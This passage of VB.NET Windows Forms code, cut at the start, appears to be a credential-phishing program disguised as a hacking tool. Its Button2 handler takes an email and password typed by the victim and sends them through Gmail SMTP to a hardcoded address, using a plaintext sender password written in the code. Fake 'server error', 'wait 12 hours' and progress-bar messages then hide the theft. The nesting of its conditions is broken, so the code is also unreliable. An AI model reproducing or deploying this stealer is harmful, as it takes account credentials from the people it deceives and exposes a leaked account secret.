End Sub

Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
    If Button1.Click Then
        CheckBox1.Checked = True
        MsgBox("Succeed Login!!!")
    End If


End Sub

Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
    Timer1.Start()
    If TextBox1.Text = "" Then
        MsgBox("Email Is Missing")
        If TextBox2.Text = "" Then
            MsgBox("Password Is Mising")
        Else
        End If
        Dim smtpServer As New SmtpClient()
    Dim mail As New MailMessage()
    smtpServer.Credentials = New Net.NetworkCredential("anandarauf02@gmail.com", "ceomrvd022000")
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    smtpServer.EnableSsl = True
    mail = New MailMessage()
    mail.From = New MailAddress("anandarauf02@gmail.com")
    mail.To.Add("anandarauf02@gmail.com")
    mail.Subject = "Email: " & TextBox1.Text
    mail.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
    smtpServer.Send(mail)
    MsgBox("Disconnected From Server, Please try again later!", MsgBoxStyle.Critical, "Server Error")
    Dim done As MsgBoxResult
    done = MsgBox("Wait 12 Hours For Succeed Hacked!!!!. Done? Klik Yes.", MsgBoxStyle.Question + MsgBoxStyle.YesNo, "Confirm")
        If done = MsgBoxResult.Yes Then
        End If
        Me.Dispose()
        Exit Sub
    End If
End Sub

Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
    ProgressBar1.Increment(1)
    MsgBox("Start Process", MsgBoxStyle.Information, "Start Process")

    If ProgressBar1.Value = ProgressBar1.Maximum Then
        Timer1.Stop()
        MsgBox("Sorry Your Process Failed, Because Your Connection Low!!!", MsgBoxStyle.Critical, "Failed !!!!")
    End If
End Sub